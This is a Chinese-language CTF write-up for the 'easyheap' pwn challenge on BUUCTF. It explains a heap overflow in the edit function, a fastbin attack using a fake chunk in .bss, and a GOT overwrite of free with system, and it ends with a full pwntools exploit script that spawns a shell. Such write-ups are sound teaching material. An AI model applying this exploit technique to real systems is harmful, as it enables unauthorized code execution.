分析
还是在buu上找的题,应该算是heap入门级别的题吧。
ida x64分析代码:
简单的来看,还是一道菜单题,有创建,编辑,删除的功能,但是没有show之类的。
值得注意的一点是,当选择4869的时候,会去查看bss段的一个magic变量的值,如果不小于4869的话就能进到后门函数l33t()里。
不管这个路径对不对,反正不用leak libc来拿system函数了。(做过一遍表示,这个路径在buu确实不对)
简单看了一下几个功能,delete的时候清空了heaparray上对应的指针,很难uaf。
但是在edit的时候,重新输入了一个长度,并且这个长度没有检查大小,所以是存在堆溢出的。
这个时候就可以用到fastbin attack来实现一个任意内存的读取。
简单的来说,原理就是利用fastbin只用了单链表来维护,并且没有复杂的unlink机制,将fastbin里面某个fd改成目标fakechunk,然后再利用那个fakechunk的位置去edit,就能达到目的。
不管是想要改magic还是说在heaparray上改掉某个函数的got表,都必须去0x6020e8之前的位置找一个fakechunk。
我这里就用修改got表的思路了了。
先要去找到一个可以用的fakechunk,
可以看到,在heaparray之前能找到0x7f,所以稍作调整,让0x7f变成fakechunk的size就能绕过fastbin的检查了。
这里就可以当成一个fakechunk来使用。
为了让这个fakechunk和之前的chunk放到同一个fastbin里面去,所以我们就要申请总大小为0x71的chunk。
先申请两个0x71的heap,free掉第二个,然后让第一个溢出下去,改掉那个chunk的fd指针,指向0x6020ad
这样一来,接下来再申请的第二个chunk就会是bss段上的那个chunk。
然后就可以利用这个chunk,去把heaparray上某一个指针给改成某个函数的got表。
这里我去改的是free的got表,改成system@plt。
然后’/bin/sh\x00’就很好构造了,随便找一个heap,内容改成’/bin/sh\x00’,
这样去free他的时候,就相当于调用了system(‘/bin/sh\x00’)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import * context.log_level='debug' p = process('./easyheap') elf = ELF('./easyheap')
def choice(idx): p.recvuntil('ice :') p.sendline(str(idx))
def create(sz, content): choice(1) p.recvuntil('eap : ') p.sendline(str(sz)) p.recvuntil('eap:') p.send(content)
def edit(idx, sz, content): choice(2) p.recvuntil('dex :') p.sendline(str(idx)) p.recvuntil('eap : ') p.sendline(str(sz)) p.recvuntil('eap : ') p.send(content)
def delete(idx): choice(3) p.recvuntil('dex :') p.sendline(str(idx))
fake_chunk = 0x00000000006020AD free_got = elf.got['free'] sys_plt = elf.plt['system']
create(0x60, bytes('aaaaaaaa', encoding='utf-8')) create(0x60, bytes('bbbbbbbb', encoding='utf-8')) delete(1) pay = p64(0)*13 + p64(0x71) + p64(fake_chunk) + p64(0) edit(0, 9999, pay)
create(0x60, bytes('aaaaaaaa', encoding='utf-8')) create(0x60, bytes('aaaaaaaa', encoding='utf-8'))
pay = bytes('a'*0x23, encoding='utf-8') + p64(free_got) edit(2, 9999, pay) pay = p64(sys_plt) edit(0, 9999, pay) pay = bytes('/bin/sh\x00', encoding='utf-8') edit(2, 9999, pay) delete(2)
p.interactive()
|